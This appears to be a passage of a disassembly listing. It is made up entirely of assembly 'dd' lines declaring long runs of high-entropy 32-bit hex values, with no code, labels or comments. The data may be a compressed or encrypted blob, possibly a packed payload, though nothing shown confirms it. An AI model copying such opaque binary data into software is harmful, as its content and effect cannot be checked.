		dd 1C648F88h, 0B9F134F8h, 84EC432Bh, 25761688h,	0A2320E00h
		dd 0D3BD312Ah, 0D9E500CBh, 8029F171h, 0AB00018Eh, 0FCA193CAh
		dd 1C3C25ECh, 84B985E0h, 0C0EEB396h, 0B195F4B5h, 8C0A7F00h
		dd 0A62BEC5Dh, 5BF70090h, 0EFFACE80h, 4A00B8A5h, 84DFC6D5h
		dd 17C719h, 8AC8040Eh, 1749BA7h, 6605A800h, 0B8D05E7Bh
		dd 0B965246Fh, 26608F30h, 3B231220h, 0AA03F3B2h, 0F440E604h
		dd 7481D4A5h, 64200C7Fh, 0FEB00066h, 1405ADFDh,	7A0020B5h
		dd 0DABEF762h, 30869A4Ch, 4E7AEA53h, 930052D0h,	99EFC4C2h
		dd 39AF36BEh, 4812609Fh, 0C0485E66h, 0A26B56B1h, 0D70469DBh
		dd 0F7B9CE19h, 660D7F80h, 8D2E0E75h, 4B2157DCh,	0E4418F21h
		dd 0DEF285A1h, 3A4DA90Ch, 0C7456B1h, 8D392758h,	214CAD16h
		dd 4B4800AAh, 5CBB3BE2h, 681A4838h, 0B089BC01h,	205503CDh
		dd 600B5ECh, 1D9D4B14h,	67283Bh, 0CA0F9F26h, 0D7DF29A6h
		dd 571C9900h, 3375374Ah, 0BF5F00BEh, 87690F32h,	7301B788h
		dd 0DC3E16C6h, 6670EACCh, 52400CDh, 40E0B409h, 76009FF3h
		dd 4B021DC4h, 157A9DFh,	0F749FF6Ch, 217D9B7Eh, 0CE85C820h
		dd 0F321DA20h, 864460EAh, 212006Eh, 0B31D1109h,	0BF38452Bh
		dd 0DF01F9D1h, 2CCB6171h, 7E808173h, 0E5D79C84h, 0F6006619h
		dd 0B96D4E93h, 24916BCFh, 20169Fh, 8F060ACCh, 480E47F7h
		dd 0C06488B0h, 0E3039FC6h, 0B52A02D8h, 0FAFF2B0Bh, 76639880h
		dd 8304EBCAh, 961E0254h, 8CA4EAC0h, 60800A0h, 6E73F21Ah
		dd 3800D6E9h, 6FCE304Fh, 0C7ABE8h, 595B5C2Ch, 0CB33CD2h
		dd 134EEE1Fh, 0B4E1E001h, 31709777h, 0E53607BAh, 8315F8D8h
		dd 2DF87C7Bh, 600D76Eh,	10D28A60h, 43DF8Ch, 31032607h
		dd 1F9E08B0h, 4FBCC500h, 8E9921B3h, 5CA67736h, 43007403h
		dd 76CA0D74h, 62001006h, 0A93AC6AAh, 38720B9h, 2F19013Eh
		dd 0ADA86B7Dh, 5030DC39h, 89C1B695h, 5BCD00A1h,	0FD9E3E19h
		dd 650016EBh, 0AB5D1D79h, 9535BBh, 374C225Ah, 33AE8757h
		dd 0EAFDC700h, 0B199B3E8h, 0F76E008Ah, 71A54D08h, 74013839h
		dd 17830D7Dh, 0C200B3Dh, 0FD690075h, 0D0189F7Bh, 0A1069004h
		dd 0E3E2411Ah, 8F430019h, 0BB45ACBFh, 1026166Bh, 0E6045471h
		dd 6C803B5Eh, 0F1E16F1Ch, 3F272FCh, 108AA10Bh, 38F00804h
		dd 5D00A060h, 707AE097h, 81146Eh, 6769F846h, 6FD82CC6h
		dd 0C017D403h, 0B1C21550h, 2DE470E8h, 70B01B3h,	4EBFA359h
		dd 95F470A4h, 0B8966F00h, 4F71D7AAh, 0E0FA008Eh, 5ECD3938h
		dd 2800367Eh, 82938D7Ah, 0F4A386A1h, 81767Fh, 30CD500Ch
		dd 3EAC948Ch, 4A2803FEh, 6C00F0FAh, 0B1346F02h,	9516401h
		dd 7B8784BFh, 0AB415C80h, 8F0152A3h, 73F4CD2Ch,	80E720F3h
		dd 7729927Ah, 0E11D00AEh, 7067C8A5h, 95007835h,	0F2024CECh
		dd 7F775DCh, 42D4D55Eh,	0FEEE808Ah, 5F3DF6F3h, 4D680094h
		dd 0BC8C82B2h, 0CB9B0017h, 87831DF1h, 0AB007315h, 21B546B0h
		dd 17DF8DB8h, 0A9E765h,	0B67CDB20h, 6B004D60h, 81CB27EDh
		dd 0CFF3C38h, 0F690E92Ch, 2100BD38h, 0E23B9F0h,	0B6861Eh
		dd 0E1A16296h, 29D68AF8h, 7D73139h, 77F95F71h, 78AFA01Fh
		dd 1F2D8DFh, 381B694Eh,	28EB3C76h, 30360420h, 0A4C7C10Eh
		dd 8B3E6680h, 849617Eh,	35249082h, 0C711881Ch, 1E9E40h
		dd 68930F37h, 3400D2D8h, 5957AA38h, 37862A42h, 8060E812h
		dd 363CB68Bh, 0D89AD6E8h, 0EE412F14h, 0C1380040h, 0E7F66722h
		dd 1A58C147h, 40B7C249h, 357E5B18h, 2275D9EAh, 5C113240h
		dd 0E128CE38h, 982A1224h, 41DC1EC2h, 86D5F959h,	5AEAF0D4h
		dd 52079D1Eh, 9B3F9240h, 0F5BFE4h, 7EA7ADA9h, 3167507Dh
		dd 3A424B00h, 133299F8h, 41F73E3Ch, 0DAD2E500h,	0E84DE466h
		dd 8A8C1701h, 8B641655h, 128344E4h, 0D3B9ABh, 6AA24266h
		dd 0D500F120h, 0DAE61011h, 0E4DD3216h, 457A00A9h, 1814EEACh
		dd 0E37034C9h, 0CA6AD300h, 8CE8C2F5h, 7F4C0089h, 5940167Ah
		dd 8DE81CCCh, 0ECF00B00h, 0F736C709h, 1DFFE606h, 63BCB3h
		dd 84450A7Dh, 0EB0389A6h, 2244A2DCh, 87F8E88Bh,	0B8420021h
		dd 8D664B5Ch, 428BBF4h,	0BD03E069h, 12C2EE4Fh, 36112922h
		dd 5818FC04h, 8210CA7Fh, 0C40950F6h, 758A01E9h,	6379BBE3h
		dd 582420C3h, 0D32F5F01h, 3E1585A9h, 7BB62988h,	90C14B88h
		dd 3D668463h, 447A7244h, 8748EA31h, 24021C42h, 0ECC5217Eh
		dd 3E102B12h, 101A8914h, 1EE27Bh, 49EA57E8h, 0EF847492h
		dd 0A8467805h, 0F100C4F3h, 80B1B014h, 29E500ECh, 0C1EBF028h
		dd 0EF00082Ah, 7D83D38Ch, 1BDAB0h, 0DFD76835h, 0C2C06762h
		dd 283A5A00h, 0C437718Ah, 34711Eh, 64BE533Bh, 2F5A6073h
		dd 6EDBA003h, 0F0AFF14Ah, 913608h, 0AC95F05Eh, 0F6E61F9Fh
		dd 22583200h, 0ED3D603Ah, 6C361D2Fh, 720FC01Eh,	6784F27Dh
		dd 17641207h, 3526FD11h, 5AB81C20h, 815DC1F3h, 0CECB8809h
		dd 9C620C48h, 0E11F370Bh, 551280C2h, 0C8EE12h, 9347A601h
		dd 1C23B5ECh, 282D9198h, 1D8D4B9h, 36073476h, 0E8B4C99Eh
		dd 43014B90h, 0B893AAC9h, 0FED85181h, 19F204C5h, 0D3D83C69h
		dd 6DB03240h, 0E1F2CC04h, 4B85EA00h, 42C03A09h,	54160021h
		dd 0AD6E39C5h, 0C7002F78h, 2C051768h, 8E927Dh, 0B551D3AFh
		dd 18455F03h, 5644E700h, 39353065h, 92953F15h, 0B920C58Bh
		dd 80026F8h, 0FF88755Bh, 63B371Ah, 0CF601D67h, 0C8003847h
		dd 0A7A1E12Ah, 34B6B62h
		dd 33BDFA28h, 203952E4h, 19778EDBh, 1AC03CD6h, 0B81574AFh
		dd 8C7633h, 394A8A09h, 6687CF0Dh, 0FD30BC00h, 6A79B2E0h
		dd 3986F842h, 72005B45h, 7D76F3D8h, 2E0070EAh, 99681C01h
		dd 0E2976406h, 26340087h, 515ED1A9h, 0BD004863h, 6C5CB9E3h
		dd 3BA22980h, 2C801C0Eh, 2223B3CCh, 0E50B505Bh,	8061FC37h
		dd 0BBE2AD6Fh, 549F0926h, 0C801B84Eh, 2BD265C8h, 0FA6C3A00h
		dd 36227ADh, 862BBF40h,	2FF8ABCCh, 250009BDh, 0AF416D67h
		dd 701973FDh, 44F80057h, 9451B60h, 3D09D307h, 0DCAA80h
		dd 82DD6868h, 0DED90039h, 0AE96045Fh, 2A000866h, 9DF15893h
		dd 34CC6Bh, 85036F2Dh, 7E86599Bh, 94FA4200h, 0BCACDEB4h
		dd 8040FB7Dh, 12DF6837h, 0A54767h, 0ECA2C024h, 7604277Fh
		dd 5484F9F5h, 8954E0h, 28B205D8h, 5DB11865h, 0ECCF9E00h
		dd 9A574274h, 0F43900FCh, 238BF0B2h, 3A007971h,	0FD3315E5h
		dd 73D962B8h, 141C241Ah, 0DA960014h, 8C572948h,	0BF61B300h
		dd 5E9C8646h, 7CCEC2Ch,	0AD776F2h, 0A7D180E3h, 0BA00B0EBh
		dd 6992B3BEh, 1096E56h,	7C968CE2h, 0CC1614A5h, 5F378136h
		dd 0BE20D8EFh, 3413DFh,	0EE4AFB5Eh, 0DA0FCC6Ah,	0F3190704h
		dd 6082BC70h, 80FC890Ah, 3DC7B96Ah, 1ED70EC6h, 5B80FF01h
		dd 68C49D6Fh, 2BECD200h, 0BE8DF40Bh, 7C7200DAh,	0F87665F3h
		dd 280923D5h, 4EE24Ah, 0FD5CE104h, 0FCB7405Ah, 749E7100h
		dd 0FE38F983h, 6E2300B1h, 9237B344h, 0BD004F30h, 2132C1FBh
		dd 557173h, 0D5789ABh, 68FC2C53h, 29276C00h, 413F033Dh
		dd 0F1AE2094h, 0A6E95400h, 6EAC582Bh, 123800BCh, 90182016h
		dd 0B100BFD3h, 405DD710h, 0C905DBh, 6A127899h, 0CC43A093h
		dd 0BE6CAF3Ah, 2F088550h, 9C00F031h, 93F366D3h,	0BC203CB3h
		dd 0D2C5A000h, 3A80BBE6h, 2A883000h, 72E7C68Bh,	9B9013h
		dd 5638E858h, 0E4366EE5h, 6AD8513h, 0A7A2F005h,	0C604D041h
		dd 820BBE5h, 2A5C1CAEh,	0C48987BDh, 1F1690CEh, 1E03B7DAh
		dd 0A077CBD4h, 40B6A00Ah, 0F0B7CFFh, 0F8AF194Fh, 6B67B4E0h
		dd 15008172h, 2AD976DEh, 30E79CF0h, 25607EAEh, 0EE00E1F4h
		dd 573FC2D4h, 907B62h, 0CCF8F1D0h, 0D38035C7h, 0ED494800h
		dd 676EA655h, 8CAA0C9Eh, 0B188515Bh, 0B04C787Dh, 0E0307DFCh
		dd 0B73D194Fh, 9037006Ah, 9D3159E7h, 7C007776h,	0C51C2835h
		dd 0C0CD4C68h, 0F2EE64B0h, 0D0EFB021h, 0D800C29Ch, 0E60DCF12h
		dd 710F9D2h, 0B58E6608h, 2AEB3137h, 7DD030C2h, 98EDAB12h
		dd 719A9002h, 0D5846057h, 4EA1385Dh, 0D679A289h, 86BFD480h
		dd 0D90033E6h, 531C2428h, 78C065h, 92C850A5h, 7F1367C1h
		dd 2C5F2000h, 47549AA8h, 7EFC00C0h, 0E3CCBE3Ch,	3F00DCA7h
		dd 2F3FEA6h, 0FAE779F2h, 0EC865836h, 0E296BB00h, 8B488D4h
		dd 3CAAE107h, 4FF08EAFh, 7377A2h, 83E20ACCh, 0C5882C70h
		dd 90241800h, 9EBF19B2h, 0E8C604ABh, 803DC8E3h,	571E4A0Bh
		dd 0A9016D00h, 0B5E7F479h, 0BFC20E8Fh, 0EA0D9980h, 7042C0F9h
		dd 0F091C000h, 15E89773h, 1389034Bh, 0EA9BDD94h, 83A96CB0h
		dd 0ED00AE78h, 0F7C43D34h, 0EA13990h, 522C841Eh, 2EF163A0h
		dd 71007DEBh, 0FE587CC5h, 3C5579h, 224306A9h, 0C004D625h
		dd 0B15DC600h, 16D7502Dh, 0D18B0009h, 562141FEh, 4300D6BCh
		dd 6BFF80A6h, 125F01C6h, 2690263h, 6664704h, 70D86D60h
		dd 79A4491Ch, 9ED178C0h, 7C6D6383h, 7A0C0985h, 0A440A19Ah
		dd 960059D4h, 0D0019B5Ch, 0BE926h, 1F8B2C66h, 0C567188Ah
		dd 0AC99301h, 6D396B09h, 5F8F30h, 24843B25h, 311F5460h
		dd 0D704157Fh, 0F346AC49h, 0C15C08C0h, 28935D8Eh, 4AFC2B01h
		dd 0ECECB360h, 251F019Fh, 0F91DF7h, 11A59899h, 73B9A8h
		dd 24697A03h, 162E1C4Fh, 0D76CE11Fh, 8DD68800h,	48A73041h
		dd 840324F4h, 0BEA9C0FBh, 0C1387298h, 0DD953C00h, 0BAD22564h
		dd 65D61790h, 523E00C2h, 639AA210h, 0B26BAF00h,	4BFA12EBh
		dd 490B008Fh, 0F3C359C5h, 0B600BDFEh, 69AB2360h, 130F39B5h
		dd 0CDBC2Ah, 8507D4AFh,	0D00255C1h, 0FA5AE8E9h,	58AC68FEh
		dd 0E08700BAh, 0EA30E25Fh, 5400FC7Dh, 0BB800FF0h, 0A13A7Bh
		dd 0F899ADDCh, 0F9D11D51h, 2E6B825h, 63D4E81Ch,	0D299A8E8h
		dd 102D0A03h, 0A4E4DFh,	3A72CD38h, 55015628h, 32DA2BA3h
		dd 0E8CC6B77h, 20F80057h, 4F1AEF89h, 4300B34Ah,	9CA14DD3h
		dd 0FD06949h, 0C6E5EC5h, 0AF7FF7E0h, 5C002024h,	0F3BC4626h
		dd 1E1DFB9Dh, 1834A03h,	7C44D161h, 0F82FD042h, 30B053Dh
		dd 5296FDF7h, 0D8A0F88Fh, 3067003h, 41393F72h, 0DBA004DAh
		dd 0FD009075h, 9FA1E4Bh, 0A09FFFh, 957264A1h, 81351258h
		dd 0D558C03h, 981CDBCAh, 0E4A5D45Eh, 89980085h,	0B01744F6h
		dd 97004862h, 1B90C179h, 7ADEADh, 2A916A11h, 0CD88F610h
		dd 7BE816F6h, 0AF20C000h, 0D93A520Ah, 0E77800D2h, 0C4222F6Ah
		dd 1F1E7B61h, 92DF4630h, 0AF6BAE41h, 2C60FE85h,	79E0165Eh
		dd 0F8400070h, 9AAE9816h, 0A64F8003h, 90676934h, 600F4441h
		dd 0EDF611ECh, 25095802h, 831BAA86h, 0D89F3B0Ch, 389C0A3h
		dd 7F2C3960h, 8BE07EC9h, 84985D36h, 0DE4CD600h,	0BEC6105Eh
		dd 493400D4h, 2F602297h, 0C01ED030h, 4A004FD8h,	0FE8CDB2h
		dd 492E0068h, 0BDA799CBh, 45B0786Fh, 0F0BE9A0Fh, 462200D3h
		dd 0D16524h, 819FD805h,	8C21B685h, 99C4F700h, 80C692EDh
		dd 5BF90306h, 7A7FE2C7h, 7B460B90h, 8FF14101h, 0FF43C1D2h
		dd 0B22220h, 0A111B4E3h, 0CF632C22h, 0E6B6D00h,	84F275AAh
		dd 1AEC00A8h, 493B7667h, 0AE009524h, 697D7E5Dh,	1FAC086Ah
		dd 0C007CE4Ah, 60F6C1B0h, 0E500EA66h, 0C2CDE95Fh, 428C45h
		dd 0C39B0C4Dh, 9C23792Ch, 0AB401101h, 0A564AC5Dh, 0E9587C0h
		dd 0E47435EFh, 7105C280h, 0C6005185h, 881B2734h, 5FADDCEh
		dd 7B3FAC0Bh, 5E40C0BAh, 5AE29E65h, 1A39F601h, 8ED88A10h
		dd 0E8AFC3C7h, 0C066C246h, 0F30856D1h, 4F004084h, 119A21Dh
		dd 883BE4h, 34A45E8Fh, 328381C7h, 442BCE00h, 0AAE48CBBh
		dd 73F10104h, 483E3AB1h, 5DDEE068h, 0AC7F0295h,	7AC386h
		dd 0D3BAC5D0h, 8DC23E19h, 0C388CCA0h, 949BC900h, 7FFFCDBFh
		dd 18620078h, 40F0C08Bh, 1A00A011h, 9B681948h, 0ACA7D2h
		dd 0D4E905CAh, 656DB1E0h, 80F5273Dh, 4E702A5Eh,	3ED79057h
		dd 48005FF2h, 0ECA06EB6h, 0A61FCFBBh, 0E00DA09h, 98F012D2h
		dd 93B40767h, 30951765h, 4CFD0588h, 2CAE9700h, 0D466E974h
		dd 52CA0F45h, 89206FF6h, 6CB411DCh, 5C050C5h, 0A28E5FC0h
		dd 91F0023h, 8F4A5DF9h,	0BF006F15h, 3DA1444h, 30F96D5h
		dd 9345915Ah, 9FC8D9B9h, 23024C59h, 2053DB1Ah, 83FD62EAh
		dd 0ADF8F90Ch, 2D1D9840h, 0C43718Bh, 0B99A443Ah, 6001C0Ah
		dd 1B3036ECh, 7C531317h, 633B0B2Eh, 41008965h, 942191CDh
		dd 0E47CCA07h, 50705120h, 0A8F4AED3h, 7D68498h,	636A73FFh
		dd 0C077D3FBh, 0E27A53D8h, 0EA5920h, 0CD262582h, 0D1F401A5h
		dd 8C6C8401h, 972AAB4Ah, 7FF97C20h, 96030436h, 820427F1h
		dd 3C406770h, 80F970B1h, 0BF509F10h, 71D22F68h,	5215005Eh
		dd 589C22A4h, 0BA0ECA66h, 2FC270B2h, 1CCB97h, 0A29038D7h
		dd 5BF50033h, 1BB8685Eh, 930020F6h, 64595A1Ch, 0FCDAC794h
		dd 9247204h, 128B0AFEh,	0DB14D002h, 35660C40h, 30A9FF80h
		dd 7711CA6Bh, 0FA00659Ah
		dd 3AC57F21h, 694042h, 9E8CE1A5h, 6B677EE0h, 52384300h
		dd 5BA37B23h, 6C0960C9h, 0F7F0EB79h, 51813002h,	80F93771h
		dd 86164694h, 5CE81D41h, 0A3FB872Ch, 71735064h,	0E60C0559h
		dd 0E0B527A8h, 1ABF0017h, 0D968944Ah, 3400700Bh, 2B09C26Eh
		dd 6052E2h, 0B503136Ah,	0B4D146E3h, 51E16700h, 3B80D22Ch
		dd 38E464h, 0B981B149h,	1944312Ah, 0E621DE60h, 0D91099h
		dd 8EF9176Eh, 5F60E1E5h, 0F3BE5000h, 37C4B9EFh,	0FCF80583h
		dd 834F2801h, 2100B16Ch, 93641CA5h, 7A8B604h, 0F32486Fh
		dd 0AE8131F4h, 4541C8FDh, 60AD8D1Dh, 0D4D99742h, 39544021h
		dd 9D8F01C6h, 0C3B96E2Fh, 0E82285h, 135B7B80h, 7F784Ah
		dd 14BC977Ch, 0A84CFCA4h, 75C4A900h, 68D036B0h,	0D5793BC7h
		dd 0C1B50480h, 0B8F52D9Fh, 0EC2E1A24h, 0AAE4AC1h, 8D8834h
		dd 0FD32895Eh, 27AFB0CDh, 8A905600h, 0FE88D124h, 8FE10911h
		dd 0D4A0B82Eh, 0B00B6C23h, 950A2Ch, 0A1968500h,	4D72E54Ah
		dd 0F009D0BBh, 0AC00352Bh, 5FD6F5B2h, 52604C00h, 0B1D89B3h
		dd 2CEA7DA3h, 8885Bh, 218A9335h, 26039DD6h, 0F80364B5h
		dd 7D0C0C5Ah, 34A8A90Dh, 0E43E161Dh, 0ED1A5304h, 7899C4C0h
		dd 43E675h, 0C7B4AA97h,	345CC7Ch, 0B557FD00h, 38426C9Ch
		dd 0ADED0148h, 97528DE5h, 8B0ED4B4h, 9FD64A00h,	0A264A860h
		dd 0EF060645h, 0E89B5B4Eh, 7708349h, 0FFF96A71h, 0A3992020h
		dd 0DF481DD2h, 22EC0BCh, 9F40B72Fh, 0DA25C000h,	4E8D96A5h
		dd 237612F4h, 43201CDFh, 5BFA6F81h, 0E17534D8h,	0C2EBF200h
		dd 65A80F7Eh, 4A181F9Dh, 11470092h, 7CC36226h, 0C40C48h
		dd 1D85350Ah, 0B33C2Ch,	17568E47h, 68FADCECh, 0FB88F900h
		dd 524B2A4Fh, 73953812h, 5A206B87h, 5665607Ch, 0ED00B825h
		dd 0AA802C4Ah, 7D49B2h,	7E92CDC7h, 62BA9ECFh, 0D7FBFD00h
		dd 0B0B3D82Dh, 937013Fh, 9050A1F0h, 0CED99F0Fh,	69A3AA44h
		dd 7A71FC88h, 0F8EA0741h, 906DB5C6h, 0AB2567A0h, 5587600h
		dd 62CB0D1Dh, 80E4B0D9h, 54F4FCh, 19AFE47Fh, 0F77466BAh
		dd 1FD60900h, 0AEA7E218h, 831B015Eh, 0FB9C8B82h, 92C66020h
		dd 68B1CB37h, 70667C67h, 0AD0300C0h, 0EF5D97C8h, 0FF007649h
		dd 80E021F0h, 5B489Ch, 1F506BA7h, 0B27F8EFDh, 0ECD5C300h
		dd 770C2AE0h, 909C00DBh, 0F54E7E83h, 1E00A1F9h,	0AF721ABEh
		dd 2C419506h, 1C00C161h, 0E8FA8081h, 182AB40Ah,	5B297F0Eh
		dd 0A0E74E39h, 0B64692E6h, 14C4F22Ch, 0DC0B7089h, 3F7BAB00h
		dd 623375CEh, 0B4139EEEh, 80309A01h, 2EAC8332h,	0E040EFC0h
		dd 2CE1DA84h, 0A6984A01h, 5D49079Ah, 2E33BBC8h,	2821438h
		dd 72D80B65h, 4DF070E8h, 0E22E98E8h, 421DE087h,	0A903D51Dh
		dd 61825A1h, 0D1929C90h, 0CBF63026h, 0D5EDB407h, 8047ECAEh
		dd 3D8D6140h, 5421DC27h, 98191C49h, 0D0FA596Ah,	560039BBh
		dd 9E194C9Bh, 453AAEh, 0ED84AC82h, 929FE7F0h, 0C934BA50h
		dd 8AF460C1h, 0A0801270h, 27328CD7h, 1D05DDE9h,	4FB1F372h
		dd 48A73C01h, 0A0E0CC18h, 0B1AF5845h, 0A200A43Eh, 361D9540h
		dd 32000C9Eh, 1F596B20h, 76EBC5h, 22BB993Fh, 51CBA026h
		dd 0F4AA6500h, 2B29A6Eh, 20A101EAh, 0A89F5DEDh,	0A7E0FA87h
		dd 7FF6A72Dh, 0EBCD6400h, 3016B66Ch, 0CFDE0386h, 0FDD3AA94h
		dd 0FC72E7D8h, 1DCEDD00h, 89E0F646h, 5E4500D7h,	74F786D3h
		dd 4F05FDBFh, 0AE3C88E9h, 0D9826402h, 0D4B080CCh, 64A67DEDh
		dd 0D09A08DCh, 0CCB16778h, 0FC36E203h, 4AA948h,	76665B39h
		dd 0FD710668h, 0E0BD5200h, 5FB2CF32h, 457701DBh, 6B9C11D2h
		dd 22308081h, 0C03130BCh, 122503F3h, 1D4E0B26h,	210EA3A3h
		dd 0CE3048A5h, 1BC0C121h, 0E270D88Ah, 4F010C70h, 0E828E177h
		dd 986460A5h, 670A360h,	0AD74FF09h, 0F37C2072h,	380078Eh
		dd 0CA0C197Ah, 0B868F463h, 0B081058h, 0DDA60296h, 9D021832h
		dd 4A635F67h, 8E233BE0h, 707DB924h, 54BD418Eh, 0BCD70384h
		dd 3067260Dh, 8F215F08h, 980541D5h, 994CF64Dh, 0E0741C00h
		dd 78D93A51h, 0B8714E1h, 0B123302Eh, 3F84BC1Ch,	4D62BFCFh
		dd 4174B020h, 0CAFB3EA8h, 7C405A9h, 0CDE15A4h, 0D100E910h
		dd 7B6E56A5h, 85E6DAh, 54B6E286h, 614483E4h, 0B8B3F000h
		dd 1F0E0CABh, 72FE00B5h, 62F90D31h, 91074739h, 328E013Eh
		dd 30A61DF3h, 67215309h, 66003E28h, 7437572Eh, 846FC3h
		dd 60698F95h, 0E1E7563Ch, 79185E78h, 44105AC8h,	0C6A11D39h
		dd 0F927007Eh, 24CC0702h, 58ADE401h, 5BDDFFEDh,	218034D1h
		dd 0A2CC0F48h, 0CE005A95h, 59791E2Fh, 1D3A3E7Eh, 432EB6E8h
		dd 51FC71F1h, 286E6018h, 7C2B5238h, 7CF47FF0h, 51626C59h
		dd 28CBC80h, 0E48FCC06h, 12165B25h, 1CC29B9h, 96A07C80h
		dd 0C633F00Fh, 315C3800h, 24B308EFh, 1EEB302Ah,	85596230h
		dd 0D476B700h, 9C7E1290h, 600C7478h, 0BCDE2146h, 840060B7h
		dd 5A50EDFh, 20C70654h,	0B00244Eh, 0A8E2A0A2h, 87B780h
		dd 5B09FBE0h, 0F1777067h, 9A03507Fh, 0F61FD062h, 0D7A69830h
		dd 0E1800081h, 2839453Eh, 3A6F485Ch, 357940F8h,	2E1EDFBDh
		dd 543F08h, 30EFFC88h, 82008EDEh, 0A56FF16Ch, 0E5F7Eh
		dd 27984C1Ah, 0E9C54752h, 9017C07h, 1C60A908h, 0EDAC31h
		dd 265DEAF1h, 941597E4h, 922831Eh, 41996802h, 0B0C4418Dh
		dd 7D452680h, 714DEBDDh, 0F3421900h, 112F04B2h,	91C4052Ah
		dd 0C03C0C7Ah, 0C2511076h, 0A5C0B701h, 0DB88A3F9h, 307A360h
		dd 0BC810846h, 588099FCh, 6A00C08Eh, 650A301Dh,	0CBE706h
		dd 1A447D05h, 0CAA939BEh, 4DBCAB00h, 2F060F7Bh,	0ECF0FFFh
		dd 46CDC0E5h, 394BC428h, 0A6378800h, 959BF1CEh,	197B000Dh
		dd 876BE3F0h, 0C900CF4Ah, 70D49E6Ah, 527138h, 0EC828109h
		dd 0BE229B7Eh, 0DF005E72h, 62C1D186h, 60EDD03Fh, 39CA6074h
		dd 80009E92h, 0DE7B54A8h, 6EF11D5h, 0E8E5779Ah,	1E08961h
		dd 2FEAF000h, 5EC2AC2Dh, 3390243Fh, 81FF000Dh, 0B8BBF3A6h
		dd 4C726C00h, 0F0F411ECh, 998F0042h, 482887F5h,	1E00069Fh
		dd 1BB4EB72h, 199030A2h, 2847D801h, 38A8FF0Dh, 5700D3B8h
		dd 8052FC34h, 56825Dh, 0C141EA7Ch, 0BA7212E5h, 8C758A1Dh
		dd 0BBE89940h, 963883h,	8935800Dh, 5AED6F33h, 5D48F41Eh
		dd 4D007E9Eh, 17886847h, 0C3492EEBh, 72B200EEh,	2F0DE8A0h
		dd 67865607h, 35A05DD1h, 41BB78h, 9A3381F3h, 987B2434h
		dd 44D4B100h, 0F8363E3h, 234F0092h, 348A3358h, 7F0F6C06h
		dd 0C0864931h, 0E930B82Eh, 0ED30FB8Fh, 8C5E1E21h, 93900B7h
		dd 78ABCEECh, 0BE8E1200h, 5DCCBC11h, 87A11423h,	8D298049h
		dd 80064B04h, 22A01079h, 0A800A472h, 0D5E1040Ch, 4AAB49h
		dd 12C9D26h, 0AF1FDEB0h, 8364E61Bh, 82218429h, 0C1041124h
		dd 13866011h, 0F344BCACh, 28584A21h, 948E9808h,	0D1114C8h
		dd 28EC2882h, 427E0B22h, 805811D4h, 22142028h, 0D0428A6Ch
		dd 117D1911h, 0F511CB34h, 2284747Ch, 484499E2h,	0CAF627h
		dd 697983C3h, 7D6BBF3Fh, 5F009E71h, 12FC8B17h, 778C683Ch
		dd 0EC5E07A6h, 91BD2BE6h, 600136DAh, 0B00E46Ch,	4638C060h
		dd 68A3Ch, 6716542Ch, 223E19F3h, 5B8E0E00h, 92BB50D1h
		dd 1D9BFC38h, 807DC3A5h, 3B5A13E5h, 0B575291Ch,	0F5E8A74Fh
		dd 19C7224h, 20ADCD16h,	7FE5D0D2h, 84628A00h, 656FFBE8h
		dd 60C0CDDh, 1F2829D1h
		dd 0DCAB2F1Eh, 26961140h, 24FFD7B5h, 87086190h,	79C9CA3Bh
		dd 59B05180h, 0B2002C93h, 40DD0A96h, 1D5FC398h,	40DA8EF1h
		dd 0E31F4A23h, 0A601D484h, 89ECCE85h, 0EBFC0D45h, 0E6BE00CDh
		dd 0F262D858h, 0F6001D17h, 2F18F770h, 1F32860h,	2353DFADh
		dd 809F59AAh, 0C3C5A088h, 0EA14ACEFh, 6C87006Fh, 7E16E754h
		dd 68305C05h, 0FBCEA833h, 26D50090h, 184CD7DCh,	561E8003h
		dd 604338D0h, 0B3445D9Ch, 0F952CBB3h, 2080FDA9h, 1EC6A06Ah
		dd 8F02AB17h, 27C1727Ah, 4D7A6097h, 80A60484h, 80CB3145h
		dd 6A74818Ch, 0C8B5700h, 0C85D0A70h, 0E6A00080h, 0D235EEA4h
		dd 0A3611446h, 506C6610h, 18373130h, 293E779Dh,	3B0C0BCFh
		dd 0D48E84BFh, 56810025h, 68D6D45Eh, 0B800E357h, 61FF0A83h
		dd 1405AC15h, 0A8EA4228h, 6781E007h, 6670B227h,	926E6AE0h
		dd 0BF005CFCh, 7BDBAB95h, 74A71CBh, 2DCC181Eh, 0E1F92034h
		dd 0F0000B38h, 1D56BBA5h, 1538BB9h, 0E6AABCE0h,	0F8B76803h
		dd 98014894h, 65EC4AC5h, 3705AADh, 849A265Eh, 0C01C0Ch
		dd 6238D31h, 9F3B9135h,	0FE2B003Fh, 6BEAF83Bh, 0AE23B37h
		dd 0F0E7EB80h, 0A5C4931Bh, 0BA746500h, 0EC6EC3D1h, 0C73C026Ah
		dd 0C82B08D0h, 4889B1E0h, 511D0901h, 0E89C611Ah, 8EA4F8h
		dd 0DF1BF2C4h, 0F6CD30BAh, 2B4B030Eh, 0B596A0AAh, 2864DEB4h
		dd 4CE40822h, 0F83B504Eh, 0F08600F2h, 0F4529E76h, 0ADEE6769h
		dd 5B2B3A00h, 0A88E95AAh, 99E9003Bh, 7453A77Fh,	8502B302h
		dd 54FFD4D9h, 987C4843h, 0AEDF18B5h, 696F405Bh,	0D101DD03h
		dd 9F271D36h, 0A7F3EFC0h, 0EB3902ACh, 0FF160ACCh, 27718440h
		dd 0AD0CB000h, 18BEC382h, 51690F67h, 79E0FEE8h,	91481199h
		dd 0A385FB00h, 0E9074122h, 237101ECh, 3EA86ABAh, 918C028h
		dd 67667604h, 4380B962h, 1F9F92A5h, 0C31FE15Bh,	0C61985C2h
		dd 0FF4DA018h, 536E31h,	4F50F9Eh, 6010D3A7h, 15C35000h
		dd 2ADB90C5h, 7BD802C6h, 241722FFh, 0CF8D843h, 2B1FC00Bh
		dd 2F80A5AEh, 0FFB737Ah, 950400BBh, 89FAA679h, 0CF1E8FA9h
		dd 0DE8012F1h, 7449C778h, 5A700D8h, 0A089AEF6h,	8B0EB208h
		dd 405AAB8Dh, 83FC93F1h, 1D00B549h, 0A6C379AEh,	3F716205h
		dd 0AC042DFh, 45195Bh, 0EAF95788h, 52084BDBh, 0E831D600h
		dd 0C7941805h, 8E6339B1h, 0EADCCA94h, 284B007Dh, 6889B4E4h
		dd 0C67F7D24h, 268A6B09h, 0FFAB00F8h, 0D71DCAh,	610790DBh
		dd 0F44011F3h, 8700A0F2h, 3FB31AABh, 8B8050h, 0FDEBCFE9h
		dd 92AC407Ch, 5B98403h,	0C1904D89h, 67E5D527h, 0F40C4C20h
		dd 0BEF23156h, 54B3E211h, 39F8C04Ch, 0B2074AA5h, 3BB5E98Fh
